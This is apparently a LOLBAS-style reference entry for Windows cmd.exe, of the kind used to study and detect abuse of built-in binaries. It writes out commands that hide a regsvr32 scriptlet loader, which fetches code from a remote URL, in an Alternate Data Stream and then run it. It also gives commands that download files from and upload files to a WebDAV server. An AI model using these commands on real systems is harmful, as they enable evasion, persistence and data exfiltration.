Cmd.exe

The command-line interpreter in Windows

Paths

  • C:\Windows\System32\cmd.exe
  • C:\Windows\SysWOW64\cmd.exe

Commands

ADS

Add content to an Alternate Data Stream (ADS).

Use case: Can be used to evade defensive countermeasures or to hide as a persistence mechanism

Privileges: User

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat

ADS

Execute payload.bat stored in an Alternate Data Stream (ADS).

Use case: Can be used to evade defensive countermeasures or to hide as a persistence mechanism

Privileges: User

cmd.exe - < {PATH}:payload.bat

Download

Downloads a specified file from a WebDAV server to the target file.

Use case: Download/copy a file from a WebDAV server

Privileges: User

type {PATH_SMB} > {PATH_ABSOLUTE}

Upload

Uploads a specified file to a WebDAV server.

Use case: Upload a file to a WebDAV server

Privileges: User

type {PATH_ABSOLUTE} > {PATH_SMB}

Detection

Resources